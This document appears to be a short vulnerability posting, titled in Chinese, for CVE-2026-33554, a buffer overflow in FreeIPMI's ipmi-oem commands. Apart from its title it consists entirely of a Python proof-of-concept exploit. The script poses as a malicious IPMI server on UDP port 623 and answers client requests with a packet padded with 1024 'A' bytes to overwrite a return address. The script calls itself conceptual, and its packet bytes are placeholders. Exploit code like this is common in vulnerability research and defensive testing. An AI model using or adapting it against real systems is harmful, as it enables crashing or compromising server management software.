CVE-2026-33554 FreeIPMI缓冲区溢出漏洞

#!/usr/bin/env python3 # Conceptual PoC for FreeIPMI ipmi-oem Buffer Overflow # This script simulates a malicious IPMI server response targeting the vulnerable ipmi-oem commands. import socket import struct IPMI_PORT = 623 def create_malicious_response(): # Constructing a response packet with an oversized payload to trigger the buffer overflow # The specific header and command bytes would depend on the targeted subcommand (e.g., Dell, Supermicro) header = b"\x00\x00\x00\x00" # Dummy Session ID target_cmd = b"\x00\x00" # Example command place holder # Payload size exceeding the buffer limit in FreeIPMI < 1.16.17 # A large string of 'A's (0x41) to overwrite the return address overflow_payload = b"A" * 1024 return header + target_cmd + overflow_payload def send_exploit(target_ip): try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.bind(("0.0.0.0", IPMI_PORT)) print(f"[*] Listening on port {IPMI_PORT}, waiting for ipmi-oem request from {target_ip}...") # Wait for request (simplified) data, addr = sock.recvfrom(1024) print(f"[*] Received request from {addr}") # Send malicious response malicious_packet = create_malicious_response() sock.sendto(malicious_packet, addr) print(f"[*] Malicious response sent to {addr}") except Exception as e: print(f"[!] Error: {e}") finally: sock.close() if __name__ == "__main__": # Note: This requires the target machine to initiate a connection to this script send_exploit("0.0.0.0")